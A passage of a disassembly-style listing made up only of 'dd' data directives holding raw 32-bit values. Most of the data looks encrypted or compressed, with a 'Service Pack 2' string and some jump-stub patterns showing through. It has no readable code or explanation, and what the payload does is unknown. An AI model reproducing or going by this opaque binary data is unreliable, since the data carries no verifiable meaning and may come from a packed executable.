		dd 0DA4B75E4h, 0EDF517h, 4F7FACE9h, 6957B6CDh, 2D9145CFh
		dd 6C799DAh, 0E64D16F5h, 0BACC11A4h, 0AAF24F9Eh, 0BEE9h
		dd 5750D00h, 942Eh, 500h, 100h,	0A2800h, 200h, 72655300h
		dd 65636976h, 63615020h, 32206Bh, 25h dup(0)
		dd 0E9000000h, 193Dh, 1239868h,	5E7EE908h, 0F568FFF9h
		dd 0E9080125h, 0FFF95E74h, 1280F68h, 5E6AE908h,	0AB68FFF9h
		dd 0E9080128h, 0FFF95E60h, 12BC068h, 5E56E908h,	7768FFF9h
		dd 0E908012Ch, 0FFF95E4Ch, 134C068h, 5E42E908h,	0E268FFF9h
		dd 0E9080136h, 0FFF95E38h, 749EA62Eh, 54BE468Ch, 6FA39D2Ch
		dd 4AB8428Fh, 669CA826h, 309EB6E0h, 0D602FE14h,	339CE42Eh
		dd 0D2FD0111h, 0C9F7E230h, 5D04061Dh, 19055FC2h, 8E669C35h
		dd 0D2C2D2C5h, 32EAA07h, 5E23C0DFh, 3B8819CAh, 4590F0B9h
		dd 0C4A808BBh, 0DFCDF709h, 0A330D02Ch, 17038106h, 66C10187h
		dd 0EBD93917h, 0B5B50D08h, 0B6C2D5F3h, 0D07961Bh, 7956FAB6h
		dd 0F7A029CBh, 1FB7939Bh, 0E8F7DBE5h, 41CA5D78h, 55E32770h
		dd 0A330EA01h, 0F0DD811Dh, 0CF19B252h, 0CA5D78D0h, 798B4529h
		dd 7621B27Bh, 4F8AE6CAh, 11764FB5h, 57900567h, 2BF2C2D2h
		dd 1F46B288h, 78C263D1h, 0CE7D992Bh, 0DCE8D2C5h, 58660797h
		dd 7A91A91h, 0AFD86A63h, 73596955h, 33F43C6Ah, 0C0DB9502h
		dd 0DFC26391h, 23D9FAF7h, 912854B0h, 5E758F44h,	0E418BAA6h
		dd 0EF5C7F06h, 5F832717h, 0C2639240h, 0E67F0899h, 0BD173303h
		dd 0DFA88183h, 6F13BFAEh, 616D1102h, 8443B4E3h,	65000000h
		dd 5037CD09h, 656E124Ch, 0FB8C25DFh, 0B1153107h, 0CA5E24B2h
		dd 0A30DB60Bh, 5859513Fh, 7E6A46D2h, 0C263EF67h, 12E1F3C0h
		dd 0E1E4CB9Dh, 53FBC7D0h, 0F60EC57Fh, 45AC264Ah, 0B27B798Bh
		dd 0DF027621h, 0FEC26366h, 0A8D430D4h, 5CF1132Dh, 0CAEE6A81h
		dd 12677D01h, 8E2ACCF7h, 409FC632h, 0ABF8C263h,	27EA01DCh
		dd 26F6136h, 5AEAE68Ah,	5FC5129Ah, 0D24A9C20h, 0EAE99601h
		dd 47000001h, 5D97A923h, 0D2D1C3D4h, 97B3FD07h,	5580003Ah
		dd 178049ABh, 25ADD16Dh, 6FE06CCh, 0D65E962Dh, 249483B1h
		dd 4651824Fh, 0B8159C3Ah, 688998Bh, 6A59EED7h, 0BC38CC06h
		dd 0BCE0E0F3h, 5D600918h, 8CB420CAh, 0CEE3DF68h, 3B5F3BC9h
		dd 5D608897h, 0C7D0E1CAh, 20E41EB9h, 42FBD874h,	0F2D8D3DDh
		dd 7C0BB878h, 44B0517Ch, 85E45B92h, 32D2705Dh, 17992A99h
		dd 0F2504F73h, 18A9CA5Dh, 0D3C47C58h, 28277737h, 0FE194D62h
		dd 62FA7E09h, 0CBCA5E1Ch, 0AB2E8203h, 4CE51F21h, 12188C78h
		dd 0A6587385h, 74B9145Ch, 5D4E5150h, 0BD1AAACAh, 3E4C083Dh
		dd 339F21B2h, 0CA5D7F2Ch, 29873C85h, 0F67A8845h, 0A55F28DCh
		dd 0CC4655F9h, 12F89F28h, 49E4F048h, 5D7F869Dh,	1D2DFCAh
		dd 17992A03h, 579DDDABh, 30D2E2D2h, 6D3A0B3Dh, 0D1E1E1A6h
		dd 6E628089h, 159B2866h, 0B2B11579h, 0BC263DFh,	0DF3332B6h
		dd 378CC263h, 0F2C8C250h, 0E80C3896h, 304C745Fh, 4CEC9BA5h
		dd 40C00C70h, 286FA940h, 611F2750h, 1FAED2CAh, 0FCC87225h
		dd 0D620F291h, 0F9B70C81h, 622239A9h, 7C0B2B51h, 507CE0BCh
		dd 3D99E7B0h, 0CC5A907h, 6235FEF6h, 556408A8h, 83A95DBh
		dd 5C55817Fh, 0B1537E73h, 7A497A53h, 0AD38D727h, 0B9A6FECEh
		dd 1537h, 0B0629A3Ah, 8FA02D0h,	0AB57D1E8h, 1EF40EC3h
		dd 0C250F4E2h, 7462F214h, 923E42D0h, 7760A072h,	9E3935CDh
		dd 952BAE64h, 5D013231h, 29E98BC2h, 9ED04D2h, 0CA5E23DAh
		dd 8B359E33h, 9C58E2EFh, 0BE913C0h, 8C069142h, 0C3A31CA4h
		dd 0F95D72F2h, 5E01D6CDh, 31A22FCAh, 72BF1A66h,	5E025F86h
		dd 0D8EBB8CAh, 555874D8h, 0FCF8CB79h, 0AA66433h, 22342A6h
		dd 0FA8ECA5Eh, 0E59E6D3Eh, 385F744Eh, 0AAC21264h, 0E69BA524h
		dd 4D6ACDBh, 0AC1729A4h, 253CA804h, 7ECA5D4Eh, 3A566235h
		dd 0FD7F526Ah, 8A6EB2F1h, 0CA5D765Bh, 0E3B41FB4h, 57AB470Dh
		dd 50603CD2h, 0C5D8E501h, 465D8B9Fh, 9FC263FBh,	99B58512h
		dd 0F5BB0802h, 0FB362D99h, 428FC263h, 0AF0BA755h, 63FB1C43h
		dd 5B2C75C2h, 63FB8A95h, 0FF28A9C2h, 63FACCD3h,	279C25C2h
		dd 0DE05F1CDh, 37C263FAh, 37CD066Ah, 5F7A09BDh,	482414F2h
		dd 0BA93718Bh, 69D910CDh, 0C024CD05h, 0C263FBA1h, 0DA1AA9FAh
		dd 16474651h, 0A9026FACh, 1A0h,	0E8F8B707h, 2A7F9AFDh
		dd 6E12375Dh, 8C25DF65h, 31D2FDFBh, 0C3F717DEh,	347C474Fh
		dd 0F66F476Ch, 685C68BAh, 0C81AF073h, 0F78512AEh, 8152F3DBh
		dd 33CD0891h, 6F438AA1h, 0DDE6DD67h, 7B1F7B17h,	5DDF4857h
		dd 0E810A1CAh, 0CA5DDEB9h, 22D6C112h, 0CA5DE27Ah, 9A1628A3h
		dd 0D8D3D2F6h, 972CCA5Dh, 735EA2F0h, 23B0547Eh,	0ED17C19Dh
		dd 62DCEB07h, 0CDBA09A2h, 0EBE7832Fh, 84E28351h, 3D12895Fh
		dd 86A2384Ah, 5E0D4362h, 0BC079CCAh, 4A23ACF4h,	0A52FD5FEh
		dd 6DB26271h, 4A3688A9h, 6060279Ch, 8AB2203Ch, 0C4408E6Ah
		dd 1AF0880Fh, 1FD25832h, 966E903Bh, 0EDD66E6Ah,	0D400A09Ah
		dd 0C263F5CDh, 0DC269D26h, 0A25A78D4h, 0CCBEC962h, 0E7C3EDEEh
		dd 0DB74983h, 7AD6D865h, 0C52B5C3Fh, 0CA609463h, 0E6F08C30h
		dd 0DB0DA65Eh, 0BA661AC4h, 4E55811Dh, 0A7BA661Bh, 0E4DEA91Ah
		dd 1B0918BCh, 5162BA66h, 0FE623E82h, 156334D0h,	0E17B8CB9h
		dd 2E1984EAh, 0EDD16DA5h, 2DBB4191h, 0BA65D536h, 2355428Fh
		dd 60229AABh, 0FF784F6Dh, 180E15C1h, 5A67BA66h,	0DFE23869h
		dd 91F3CEADh, 12DA64h, 4DF7DD00h, 0E319B9B5h, 7EB84F2Fh
		dd 0DD676C94h, 778D4925h, 0BB99B98Bh, 0DD21F113h, 0BDC151F3h
		dd 0E020F210h, 10B74BF5h, 0FF1948ACh, 1472C25Ch, 5F6E1200h
		dd 1861FE5h, 0FFDAD7FFh, 8E328E45h, 5E243B6Ah, 583F94CAh
		dd 7F5AF6BAh, 21663FC5h, 664AF4DFh, 24879E4Ah, 0D3E0CA5Eh
		dd 66A46C4h, 4E4E39CBh,	0B3FD07D2h, 1BB23F97h, 7952B221h
		dd 0E6CA760Eh, 5E23E302h, 7E2B4ECAh, 5041FE1Eh,	4A366172h
		dd 2F4B758Fh, 0A4EE99A3h, 0EE16C09Ch, 0AEF6EBE6h, 791E32ECh
		dd 0B6C3C791h, 0DB30B3E1h, 6B1D784Ch, 0A2D664A4h, 4F2B8F31h
		dd 4A567EB8h, 0C9892D31h, 8C2ACEB9h, 0C3D25EA9h, 0C1120C9Bh
		dd 0CD775BFFh, 0E07A9F27h, 29ED15AFh, 6F4BED9Ah, 0B83CC60Bh
		dd 7D58A8EFh, 7461FDC3h, 0EA9D36CEh, 17BCA0A0h,	5FD69AEDh
		dd 60C25CE3h, 0B2527CDCh, 11BB9F21h, 4B3C15EFh,	513304BFh
		dd 659FA52Dh, 0F1C7BBCCh, 0EE063C95h, 2E526E65h, 2AD6A1A4h
		dd 8DAB390Fh, 4B6F5136h, 145C836Fh, 0ECB5C25Dh,	293BD59Bh
		dd 0E8B8CA57h, 9794F7EDh, 98A2F5A7h, 7A4AE60Bh,	0C0F47B69h
		dd 0B5225E78h, 0ABDC758Fh, 2B67DB45h, 3E94B84Eh, 3265EE06h
		dd 0A22E8A50h, 0FBC962A2h, 33BB522Eh, 2C943F98h, 0AC3D6490h
		dd 0D962699h, 941ABE7Ah, 0D92E93CAh, 0FC8413C9h, 0ED93E905h
		dd 873364DEh, 0FE3D453Bh, 0F8D133D1h, 0B454C5CCh, 24EED1CFh
		dd 83EDD656h, 0A21EB54Fh, 6EB91312h, 0D1B6B704h, 0D4E38733h
		dd 0DAFE9A5Ah, 1E9FBACBh, 53448F24h, 7BA1A92Fh,	5B2BB46Eh
		dd 1A367A49h, 0A67F85BFh, 0DFBBDFE1h, 9FB0ECF3h, 0F47C451Eh
		dd 2CB29DBh, 0EB18DB95h, 0F7C7269Dh, 6E2CB0A7h,	4FEB9C53h
		dd 646EE783h, 0D7D57C16h, 70DB708h, 644C7755h, 5A38F108h
		dd 0F3BA613Dh, 0AA36172h, 349FBB7Dh, 23E11BB7h,	0D377398Ah
		dd 0CD3D4AC4h, 0BE448DF1h, 0BF2CA7D9h, 0C7DAE913h, 7272C3A3h
		dd 0C0A5D232h, 0C3000010h, 0DF1FF30Dh, 0B5B949F3h, 0DA16EC26h
		dd 0AFCF43F9h, 5FE51D27h, 93B11D37h, 0AB557F7Fh, 84BE1757h
		dd 0DD67728Eh, 0BA1EA225h, 0C25CFCABh, 0DC926204h, 0D7B3FDFEh
		dd 50FA6BC7h, 41469470h
		dd 5EC939B7h, 0C51070D2h, 0E3F0B93Bh, 36D7D5DDh, 30FB2AB8h
		dd 6D355967h, 0F5C47813h, 458DF335h, 2AA8D8BFh,	7D2AE12h
		dd 40008AFDh, 6CA3545Ch, 0F1297782h, 5C6AD807h,	0F7A031C2h
		dd 0F4E0C909h, 617D774Ch, 160DB976h, 6FC25C6Bh,	0BC38C20Fh
		dd 0BEF3E0F3h, 0C6B78C40h, 241E3B95h, 27000010h, 7B838FA9h
		dd 1955AD57h, 767A8882h, 135BA75Dh, 0CB7989BBh,	172DA9ABh
		dd 37C903EBh, 182AA3CBh, 39CB06EAh, 16C2FEC9h, 0C25CFC0Fh
		dd 0DC0E0E68h, 0E7FEEAFEh, 3ECA5E23h, 5E248B9Ah, 0F3CFE4CAh
		dd 3CBF5DEh, 780C4E8Fh,	9FA1E6DEh, 0C0EEB3FBh, 2B0FBF0Bh
		dd 0A51E945Ch, 4D55D25Eh, 5A9D1BACh, 9719AAB2h,	0BE91BB3h
		dd 47635542h, 0E597A823h, 9A382A63h, 0DA267162h, 4B1F46FFh
		dd 0E3F0A922h, 0F03157F1h, 51828CECh, 41C30B6Fh, 0FEBEBC56h
		dd 0DC0541F2h, 6E129F44h, 8821E361h, 0AD19753Bh, 0C25D20B6h
		dd 0E3D5C20Fh, 1A14A3C7h, 1FE8036Dh, 4327C25Dh,	2D0D7AB4h
		dd 0D81D97A5h, 774C1686h, 8AB81539h, 0B937FFDh,	60ECB87Fh
		dd 7DE0F43h, 3347A232h,	40621681h, 5DC25CB9h, 0AE567C75h
		dd 0DBF3DF25h, 950CCB29h, 21FDF956h, 785C953Dh,	0C25CB969h
		dd 9EE2F1C2h, 5CF50F35h, 737B22Bh, 1ADA5463h, 56070691h
		dd 690D94EAh, 0C8h, 9391F7C7h, 99CFD602h, 9B28C25Ch, 660B3E29h
		dd 0C212FB21h, 90B211B7h, 0BC6AA9Bh, 0E07C8EF9h, 0EAF11BDCh
		dd 2EA5CDFBh, 5FE5EE92h, 0BD7B0CA5h, 0A19BDE1h,	63CA5DBBh
		dd 0B6E5E14Fh, 8251672Fh, 0AD485B15h, 899CA5Dh,	0C1E004A8h
		dd 0D8CA5DACh, 0E7C044FCh, 0F391F6CBh, 9A942347h, 32C6D15Ah
		dd 0CA5DAD2Fh, 857F854Eh, 65717E59h, 378C25DFh,	6487FEBDh
		dd 8B2F0FE7h, 5DAD3867h, 574091CAh, 8FEB4B8Eh, 6D46BE78h
		dd 0F67AEB1Ah, 864E0595h, 0C4FF4E7Ch, 4C783891h, 0CA5D4F55h
		dd 57225AEh, 24h, 728C4723h, 0CECEB992h, 0E0646E12h, 0FBFC8B24h
		dd 40Ch, 0F3DD811Dh, 0CE1AB351h, 0CA5E23D7h, 20F4A330h
		dd 0E0646E12h, 8BE0ECF4h, 206774FBh, 922E5A25h,	5D553F66h
		dd 0CA7A56CAh, 9021A12Ah, 34350307h, 59E3F08Ch,	522E922Eh
		dd 60187F85h, 0D2576AAEh, 7B854F2Bh, 0DBE7B079h, 4EA65873h
		dd 4E724E85h, 63407BAAh, 98FFD4C2h, 0CE7B43E9h,	36F007ADh
		dd 0F7F3848Eh, 80BD2138h, 54439093h, 0E80DB9Ch,	753E8672h
		dd 9467885Ah, 0F2C8BACDh, 0E8F53DEAh, 5A6977C3h, 29E3FA56h
		dd 763E625Eh, 0FB7086CDh, 0C32F91A5h, 12B8E49Ch, 15DBACF5h
		dd 1AB30297h, 26CFD4DCh, 319DFFAEh, 90345C66h, 0ABE9091h
		dd 0BA54DAEAh, 2962F51Fh, 0B3B2169Ah, 0C0ABEA6h, 8A40CB7h
		dd 0BEA5C5DCh, 2951E0Ah, 2BC29E7Ah, 4D3A13F1h, 0B443A335h
		dd 4367497Ah, 7391AB27h, 7043ADDAh, 1F12BCE0h, 6C48577Bh
		dd 11A102C0h, 997DEE24h, 0ED9A2922h, 0A94D714Dh, 2C03D7Ah
		dd 0EBFAFED3h, 4402C03Ch, 7292B21Ch, 0D7D9EAD9h, 0F4EBD7B3h
		dd 4D02C03Ch, 33EDFC84h, 718FF8D1h, 0B8728966h,	0DD09A50Bh
		dd 2C03CC6h, 8505921Fh,	0FA08C5A9h, 0CB606B8Dh,	0C03CF827h
		dd 53805102h, 53BB165Eh, 7865BF86h, 0D0Fh, 0C83AC212h
		dd 122AA8h, 0E32FE900h,	0F60C369Bh, 0DA28DCFAh,	4C8ACAECh
		dd 0AA264AB8h, 4F88689Ah, 0B6215DB5h, 0EDD3768Ch, 5CF8DA09h
		dd 415133C2h, 0E4606E12h, 0F80AC5B3h, 0F1F0D4B8h, 4ACA5E23h
		dd 0CA760E79h, 98182DA6h, 0ACC1DF48h, 51395E75h, 9BA42F87h
		dd 0BE511404h, 0C72D9609h, 8FEBD5FEh, 0F2CEB943h, 2024B2CEh
		dd 488F29B4h, 0EE9908B3h, 5780788Ah, 1CB995D2h,	0CE053F93h
		dd 4655F9C9h, 688C28CCh, 0C2635E39h, 41924192h,	4FF1DB7Fh
		dd 69C61DB5h, 41F5FD17h, 0A9850592h, 8EF90BC5h,	1ECA6772h
		dd 0C263CF07h, 31805360h, 0C6B028A3h, 58A5D232h, 5B00000Ch
		dd 3737CB75h, 0CDB1619Bh, 0F20E043Eh, 0C7A75BE1h, 371DF50Fh
		dd 7B89450Fh, 0D36D6787h, 6C963F3Fh, 0C57F5A96h, 92368A4Dh
		dd 0C25CF893h, 128A8AECh, 468C656Eh, 56EF15BEh,	7A844F31h
		dd 84B81A36h, 0F1CD6913h, 5E23DE05h, 26DCF5CAh,	0F4BD05CEh
		dd 0C97A55A3h, 0D4350D4Ch, 0E1DFF4FCh, 52B2507Dh, 0A43B4B79h
		dd 12CFEC28h, 5A06F785h, 82939236h, 84ECCA5Dh, 0A30DB64Eh
		dd 5D82203Fh, 5F2879CAh, 0B7D36386h, 0DE0A0493h, 0CA5D81C7h
		dd 0F4049320h, 0C1F728D9h, 7355211Eh, 0D6FC6060h, 8AFDD62Eh
		dd 785C4000h, 0CA5D6E69h, 458FF1C2h, 277039BBh,	953777E6h
		dd 0DE794905h, 0F26667D5h, 0A8FA7D0Ah, 1E000000h, 94709442h
		dd 12C8CCBBh, 0F837FDC2h, 0BEC98B43h, 0EEDAEECCh, 0CA5E19F7h
		dd 70508350h, 14005D60h, 46D9907Ah, 0E3780F26h,	0B090F7CCh
		dd 0B567C40Ch, 0C440C412h, 131D9EBh, 0AD82CBF9h, 76DFE26Fh
		dd 0D556711h, 6272D258h, 4D1FE064h, 933F81C8h, 0C263B18Ch
		dd 0FABDCE5h, 1ADA646Fh, 367E4291h, 0E0B71594h,	49B3E452h
		dd 63D07AA5h, 53F99C2h,	46F8D3FFh, 30AB3AAEh, 1733E323h
		dd 481582BCh, 3ECDB191h, 49270004h, 0B9927288h,	0D1AEBFCEh
		dd 5E02026Fh, 0B56F7E73h, 0A506791Eh, 2A000000h, 7B798B46h
		dd 12AFE5B2h, 24E0646Eh, 0A2C1258Bh, 0FBCA5E24h, 0FA9E1A6h
		dd 20AEB30Bh, 99C75590h, 0EE477DE8h, 0BF01D212h, 8611339Bh
		dd 597AD6BAh, 0B47CF4A3h, 6DD25802h, 4A3DC711h,	15D6370h
		dd 5E5A2DD7h, 40457242h, 0E2F02CE0h, 0F60FC3B5h, 22B95B6Ah
		dd 91430CE8h, 0D59B7C43h, 37794AF8h, 22DCF753h,	809F49E2h
		dd 0D9C263F4h, 0A353BFC8h, 0C263F479h, 0A65E7AD6h, 0E612854Eh
		dd 3BC906EBh, 0DDE3F0B9h, 0DDAA5081h, 6881512Dh, 63F4657Ch
		dd 0DEF5BEC2h, 0A593926h, 47570000h, 0DF84BE9Fh, 6A2A5D81h
		dd 29FEFEDCh, 7D69BC24h, 8644C77h, 705037F1h, 0DEC2844Ch
		dd 23E42B41h, 0D3A6FC74h, 0DF7BD257h, 1DB64EC8h, 25B0D06Ah
		dd 0A408A81Bh, 63B02140h, 5E297AC2h, 7956FAA6h,	11BCBCCBh
		dd 0C50E369Ch, 0CD775FFBh, 8BF99E27h, 18DC666Fh, 9371933Ch
		dd 34C427BEh, 7F5B6898h, 817BBDFh, 1FC263B0h, 0E36C88B2h
		dd 18C5D2DFh, 0F5DD81C1h, 7842484Fh, 0B216C74h,	4A79910Dh
		dd 35CF0A66h, 8480824Bh, 0C0DCDCABh, 1FE9F8DCh,	0F454C264h
		dd 1722D3D0h, 0A8EFC4FEh, 5DD792D0h, 0CB0569CAh, 975DD7E6h
		dd 40EC50Eh, 8AE6743Ch,	775E8571h, 0EAB7BA69h, 41FA77DAh
		dd 42AF2A56h, 5A566D97h, 92BFA74Ah, 91F6F89Ch, 0AE2347F3h
		dd 0B0D77094h, 0FCE800DAh, 0BA69BBE5h, 625E753Eh, 6532D2FEh
		dd 6F533753h, 0BA69BC70h, 0E98FF8C9h, 0C263D87Fh, 9EA6304Ch
		dd 387849F9h, 0DF0E3868h, 2C5B07A7h, 1B15A4D0h,	30D2FDD9h
		dd 4D8C05D4h, 5834E800h, 6F2D756Ch, 9205CEB2h, 8C3010CBh
		dd 6F2D3968h, 0E2EE92B2h, 0BA09A262h, 80BB150Ah, 99FEC688h
		dd 0EED26C67h, 7DFF26D2h, 4B58B26Fh, 8EF2CE3Ch,	6B44C044h
		dd 4854E61Ch, 0A076BE8Fh, 2F914219h, 0DA32438Bh, 3F4E2B2Fh
		dd 7001AAB9h, 4C5B03B2h, 2A9932D2h, 6F3F5B5Dh, 0F2895AF4h
		dd 72565A5Ch, 0B26FA373h, 0E890F7CCh, 0BA69BA0Eh, 741BF3BBh
		dd 3AB147B8h, 7555978Eh, 0F0E3F0AAh, 1BB39BA7h,	0B14B87E9h
		dd 67497A53h, 95AF2743h, 75553C63h, 756FA7AAh, 0DE168094h
		dd 375BD0E4h, 0A1DF8732h, 0FB976532h, 29CB755Fh, 0ADB420A0h
		dd 6AA756Eh, 23AECABDh,	30103CEh, 7317992Ah, 756E504Fh
		dd 6F18A9AAh, 55EFE915h, 0F608C3AFh, 2DAC39FEh,	9D706421h
		dd 0BB0820B8h, 0F1DD811Dh, 0DB16FC54h, 962DD361h, 1BC2D55Eh
		dd 0F3DC80C0h, 6D1AB351h, 6A63C395h, 40931CD8h,	0DC801C80h
		dd 18B153CDh, 75A6D1D0h, 0EE992AAAh, 6FBEB08Ah,	6E525FB2h
		dd 0E1ECC512h, 0B70CA55Fh, 933E42D0h, 906B7A5Eh, 16C2A27Bh
		dd 0A27B900Fh, 4A575B68h, 4A673779h, 11339BE6h,	0D2EED6C3h
		dd 0E32123AEh, 93BF3D4Ah, 435AF63Bh, 56A22BC9h,	0A27B884Fh
		dd 7D551BA8h, 2FA42DC7h, 51A84191h, 654CEA1h, 0FDD70381h
		dd 3D95C143h, 7D68ED07h, 45F9F15Eh, 0A4667D69h,	0F2BFA27Bh
		dd 2121B8A5h, 50CAE17Dh, 0D6CD1BB4h, 2FA27BA3h,	0C803F5A2h
		dd 738D4723h, 7BA45E85h, 0D9EAB7A2h, 0A45E73D7h, 52C0C760h
		dd 0D019666Eh, 0C5AAF7DCh, 222AB0D2h, 31901855h, 743C87F8h
		dd 5245FFD8h, 73288266h, 59F5AA75h, 0E6D4C379h,	0BB84C8Ah
		dd 0A0314DE9h, 0C00BED9Ah, 0F0DE823Eh, 0AD17B054h, 79F924C8h
		dd 0EE960131h, 0C63EC612h, 0EE063E9Ah, 56F3F66Fh, 22E80382h
		dd 6FA94098h, 0FB545C64h, 0B74D8641h, 0A460743Dh, 72565A0Ah
		dd 9A81D373h, 0B090F7CCh, 1D44B00Ch, 769A81D3h,	54965A2Dh
		dd 21A27BF0h, 966E943Dh, 0E3F0CABDh, 0AA5081DDh, 5B8A6E4Ah
		dd 0B49287B7h, 27E3B41Fh, 0A2793787h, 95677E6Ah, 0F3C09287h
		dd 0B83400E1h, 926B1CFh, 87E2C6DDh, 973F1F92h, 15BE876Dh
		dd 735E02BEh, 24AF557Eh, 0C44047E0h, 0A85874D8h, 0E414834Ch
		dd 0DB8D58E9h, 0D62ED600h, 1DF2C7FDh, 3DB74983h, 4C745F74h
		dd 599BA530h, 634BC7D0h, 0D331CB07h, 0E3758DFAh, 0EF001FC3h
		dd 48599287h, 5F91357Bh, 1C9A8206h, 0B13EA694h,	51DA1A20h
		dd 294D0083h, 564192A8h, 39CB046Ch, 5E8A268Ah, 8A8DB947h
		dd 0CDD400A0h, 268A8DB8h, 0A361269Dh, 9EF4A7F7h, 0E5B1F019h
		dd 1D6A59EBh, 8D634853h, 816E678Ah, 814AAA50h, 8C6B252h
		dd 0AA33F8FCh, 59E4222Fh, 309EC282h, 0D6ED17C1h, 0C72B951Eh
		dd 8A8D6398h, 0D6B7E0F1h, 3A454087h, 9118h, 6E125400h
		dd 0CEB4E361h, 0DDC1FF0Ch, 5E23EAF9h, 775B43CAh, 0CA5E2468h
		dd 9DE3F0C1h, 59F21230h, 522E922Eh, 0AF787C80h,	594210E8h
		dd 1337D258h, 0A78084BEh, 0FCF832C9h, 4E566433h, 0A38DC59Ah
		dd 44C0135Bh, 81183458h, 2F426187h, 69BC263h, 2EE4F781h
		dd 0CB03C263h, 89FBB39h, 0B035F60Eh, 495A1D39h,	0B74DFABh
		dd 52623EB8h, 98E92F0Eh, 8E57408Fh, 0D7E3EB4Bh,	337494E3h
		dd 91C0C5D2h, 0E3026F0Ah, 0E1CF14DBh, 5B2C8B74h, 20D9Ch
		dd 0C212D800h, 57F4EBF9h, 56A2F5B7h, 0A85C767Bh, 9AA2304Ch
		dd 8E169A29h, 3DA2882Fh, 98A824DEh, 0B4A05C2Bh,	0FEC6EA1Ah
		dd 10F5E662h, 1DE7B00Eh, 56693181h, 63A1A32Eh, 5A61FACAh
		dd 715C9CEBh, 590918BCh, 5162CA5Dh, 0B6223E82h,	9FC6328Eh
		dd 0F8CA5D59h, 7420DCABh, 0FEE6CF2Ch, 650B2C79h, 931CD86Ah
		dd 28D9F404h, 3416ECEFh, 832D96B6h, 0C9A4BB27h,	2CBBCA5Dh
		dd 7D03D0F2h, 7952B250h, 0A0BC840Eh, 5EE70D37h,	0CE17BF39h
		dd 3080CA5Dh, 9C98206h,	5025E1F3h, 3CEAADDh, 0F4DB0AEEh
		dd 0C632CA5Dh, 0CA5DF59Fh, 0BA07ABF8h, 34C3A709h, 6631FAFAh
		dd 0C4A804ACh, 33FCF808h, 5DF59EC5h, 0C6AAF7CAh, 30F9FB09h
		dd 71BE1967h, 0C143C10Dh, 0F4E100E8h, 693ACA5Dh, 8E3A565Ah
		dd 0CA5DF597h, 319DE3F0h, 2F58F113h, 2525B3D5h,	46532F12h
		dd 0FB1228Ch, 4C1847ABh, 6171CA5Dh, 19CC7113h, 0CBBC071Ch
		dd 0CC0309EDh, 0A408D257h, 63A92140h, 47297AC2h, 1C26718Bh
		dd 0A9515074h, 19AAC263h, 10C37D57h, 0B9E80CB0h, 12C263A8h
		dd 743CD6C1h, 0C143FDD8h, 0CD6B9FE8h, 84515E79h, 427E557Eh
		dd 0A86B7A5Eh, 16C2C263h, 0C263A80Fh, 4A575B68h, 85577B3Dh
		dd 64CA60E8h, 6889983Ch, 0F4E0BA66h, 0BA6667EDh, 6C357D46h
		dd 0E6F55957h, 98FFC82Ch, 6D6804A8h, 1AB4C4D3h,	67F4EBD7h
		dd 2D5FBA66h, 1273E225h, 873C852Dh, 0EE8A9929h,	0AFD626D3h
		dd 0DEA91A24h, 82824C34h, 0AD90932Fh, 0F5E242CEh, 40Fh
		dd 0C83AC212h, 122AA8h,	0E32FE900h, 0F60C369Bh,	0DA28DCFAh
		dd 4C8ACAECh, 0AA264AB8h, 4F88689Ah, 0B6215DB5h, 0EDD3768Ch
		dd 5CEFDA09h, 415133C2h, 0E2626E12h, 0A60BC3B5h, 59A91A2Ah
		dd 9C35BA15h, 0EC58E66h, 773422B2h, 4468775Bh, 0F0C1CA5Dh
		dd 9ADC2FE4h, 27000438h, 0E951289Ch, 0E3F35D78h, 0F65A56B4h
		dd 3CC28DCh, 0C2128094h, 0C10B0E10h, 285A2D5Fh,	89358A92h
		dd 4C1516A0h, 0BC153977h, 9BE56E86h, 0B385120Ch, 0B73BC7D7h
		dd 3C8A0620h, 38AFA54Bh, 0C8A4D258h, 3A13F10Bh,	5C646D4Dh
		dd 0D52FE900h, 45F18BFCh, 0F097AD29h, 63CE5588h, 586574C2h
		dd 0A52EC67Eh, 2FAAD62Eh, 0F66DEF15h, 25A056F3h, 0D31243C6h
		dd 5E66026Fh, 696B6598h, 0F582152Fh, 1A4h, 609A3713h, 6C650BA4h
		dd 12EBB1D6h, 16ED1BC2h, 8BFC589Ah, 458D626Dh, 24AC14BFh
		dd 401F33E0h, 5923741Bh, 0E34A1BDh, 0A55F7789h,	586BEB5Fh
		dd 78D4CA5Dh, 0C760A45Ch, 9815C0C0h, 13FF053Fh,	5D4FB0AFh
		dd 0BB809CAh, 7954F8B8h, 6E52C0C7h, 0FFE85066h,	5E09CCD3h
		dd 289C25CAh, 19973D71h, 5DD6B6ADh, 0D5C20FCAh,	0F01728A3h
		dd 562135D9h, 522E9241h, 0AC857F85h, 793F21DBh,	0F16A795Dh
		dd 0EEC3CA5Dh, 43C17B92h, 0F357596Ah, 46DF25DFh, 7F1B7F41h
		dd 5DF14C53h, 203FA3CAh, 79CA5DF1h, 4E398A28h, 5802A4AAh
		dd 9019A9D2h, 7DE3D989h, 0FA08C5ABh, 9C24AD8Dh,	552FF614h
		dd 9EE99C09h, 0E44416F4h, 169E56EEh, 0A346ABE3h, 0A52EA521h
		dd 1D69931Bh, 0D833D6C6h, 25AD11AFh, 0FDA1B99h,	3E97D958h
		dd 60270004h, 61466798h, 32B202CAh, 0DA7C4D10h,	7F1F1B6Ch
		dd 0AA4EF0DBh, 0BA66BB7Bh, 0ECD4FFD4h, 0BAFD24D0h, 3A56BA66h
		dd 66BB978Eh, 0F0E3F0BAh, 59F599A7h, 6942C278h,	0FDF4E21Eh
		dd 0FBD430D2h, 753E8CC9h, 0BD065B66h, 42596945h, 34E00B95h
		dd 913D3B4Ch, 678DB720h, 1ABCF5DEh, 0BBCEADBFh,	1ED7C59h
		dd 0E0F00000h, 0CC6AA58h, 0D7E60AF8h, 8C9A55Dh,	0F6E020F2h
		dd 0F012C44Eh, 28DA6A64h, 9E748C48h, 43CF7562h,	0A46E903Bh
		dd 0C4DB07B5h, 1DC25CEDh, 6E123347h, 8A23E163h,	31D3FBFDh
		dd 5081DDE1h, 309BDDAAh, 3CEB20Eh, 34FC9601h, 0A433BE18h
		dd 6B57596Ah, 0CA5E2474h, 819304CDh, 0B3FD07D2h, 0EA06C7D7h
		dd 3A9A8EEBh, 5D8EB7AEh, 0D4C310CAh, 0C4308C28h, 0CA5D8E9Dh
		dd 9EDAADF6h, 0F311BE33h, 258B3811h, 0A2C12589h, 0FBCA5D8Eh
		dd 8E2342A6h, 277CCA5Dh, 8E465D89h, 129FCA5Dh, 65F30585h
		dd 5804465h, 5F74D5F4h,	8A993D61h, 0E3CA5D9Bh, 93F7C9CEh
		dd 9AD4CBF7h, 0C72BCA5Dh, 0CA5D9B98h, 0D1E2E0F1h, 0BAC032C6h
		dd 61FDD25Eh, 9F28CC76h, 0A8264AF8h, 7B465D89h,	129FC25Ch
